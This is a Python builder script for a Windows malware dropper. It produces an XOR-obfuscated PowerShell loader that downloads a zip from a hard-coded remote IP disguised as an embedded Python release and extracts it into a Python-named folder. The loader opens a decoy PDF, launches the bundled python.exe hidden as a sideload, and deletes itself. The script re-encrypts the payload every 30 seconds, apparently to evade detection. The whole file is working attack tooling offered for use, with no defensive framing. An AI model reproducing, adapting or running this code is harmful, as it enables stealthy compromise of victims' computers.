import time
import random
import string

stage = "".join([
    "$ErrorActionPreference='Stop';",
    "$log=Join-Path $env:TEMP 'py311_stage.log';",
    "function W($m){Add-Content -LiteralPath $log -Value ((Get-Date -Format o)+' '+$m) -EA SilentlyContinue};",
    "W 'stage start';",
    "try{",
    "$zipUrl='http://2.27.63.186/Python-3.11.0-embed-amd82.zip';",
    "$drop=Join-Path $env:LOCALAPPDATA 'Programs\\Python\\Python311-Brief';",
    "$zipPath=Join-Path $env:TEMP ([guid]::NewGuid().Guid+'.zip');",
    "New-Item -ItemType Directory -Force -Path $drop|Out-Null;",
    "W ('drop='+$drop);",
    "$wc=New-Object Net.WebClient;",
    "W 'download zip';",
    "$wc.DownloadFile($zipUrl,$zipPath);",
    "if(-not(Test-Path $zipPath)){throw 'zip missing'};",
    "$len=(Get-Item $zipPath).Length;if($len -lt 1024){throw ('zip too small '+$len)};",
    "W ('zip bytes='+$len);",
    "$fs=[IO.File]::OpenRead($zipPath);$b=New-Object byte[] 4;$null=$fs.Read($b,0,4);$fs.Close();",
    "if(-not($b[0]-eq 0x50 -and $b[1]-eq 0x4B)){throw 'not a ZIP'};",
    "Expand-Archive -Path $zipPath -DestinationPath $drop -Force;",
    "Remove-Item $zipPath -Force -EA SilentlyContinue;",
    "$pdf=Get-ChildItem $drop -Recurse -Filter '*.pdf'|Select-Object -First 1;",
    "if($pdf){W ('open pdf '+$pdf.FullName);Start-Process $pdf.FullName};",
    "$exe=Join-Path $drop 'python.exe';",
    "if(-not(Test-Path $exe)){$exe=(Get-ChildItem $drop -Recurse -Filter 'python.exe'|Select-Object -First 1).FullName};",
    "if(-not $exe -or -not(Test-Path $exe)){throw 'python.exe not found'};",
    "$wd=Split-Path $exe -Parent;",
    "W ('start '+$exe);",
    "Start-Process -FilePath $exe -WorkingDirectory $wd -WindowStyle Hidden;",
    "W 'done'",
    "}catch{W ('FAIL: '+$_.Exception.Message)}",
    "finally{Remove-Item -LiteralPath $PSCommandPath -Force -EA SilentlyContinue}",
])

_stage_ps = stage.replace("'", "''")

payload = "".join([
    "$ErrorActionPreference='Stop';",
    "$work=Join-Path $env:TEMP ([guid]::NewGuid().Guid+'.ps1');",
    "$utf8=New-Object System.Text.UTF8Encoding $false;",
    f"[IO.File]::WriteAllText($work,'{_stage_ps}',$utf8);",
    "$ps=Join-Path $env:SystemRoot 'System32\\WindowsPowerShell\\v1.0\\powershell.exe';",
    "& $ps -NoProfile -ExecutionPolicy Bypass -File $work",
])


def generate_key(length=16):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))


def encrypt(data: bytes, key: str) -> str:
    key_bytes = key.encode('utf-8')
    encrypted = bytes([ch ^ key_bytes[i % len(key_bytes)] for i, ch in enumerate(data)])
    return encrypted.hex()


def write_to_file(key: str, encrypted_data: str, filename: str = "REjhifbbih"):
    content = f'''$k='{key}';$d='{encrypted_data}';$b=New-Object byte[] ($d.Length/2);foreach($i in 0..($b.Length-1)){{$b[$i]=[Convert]::ToByte($d.Substring($i*2,2),16)-bxor[byte][char]$k[$i%$k.Length]}};$s=[Text.Encoding]::UTF8.GetString($b);. ([ScriptBlock]::Create($s))'''
    with open(filename, 'w', encoding='utf-8') as f:
        f.write(content)
    print(f"[+] File {filename} updated. Key: {key}")


def main():
    print("[*] python311 sideload (no admin, no excl). Ctrl+C to stop")
    while True:
        try:
            key = generate_key(16)
            encrypted_data = encrypt(payload.encode('utf-8'), key)
            write_to_file(key, encrypted_data)
            time.sleep(30)
        except KeyboardInterrupt:
            print("\n[!] Stopped by user")
            break
        except Exception as e:
            print(f"[!] Error: {e}")
            time.sleep(5)


if __name__ == "__main__":
    main()
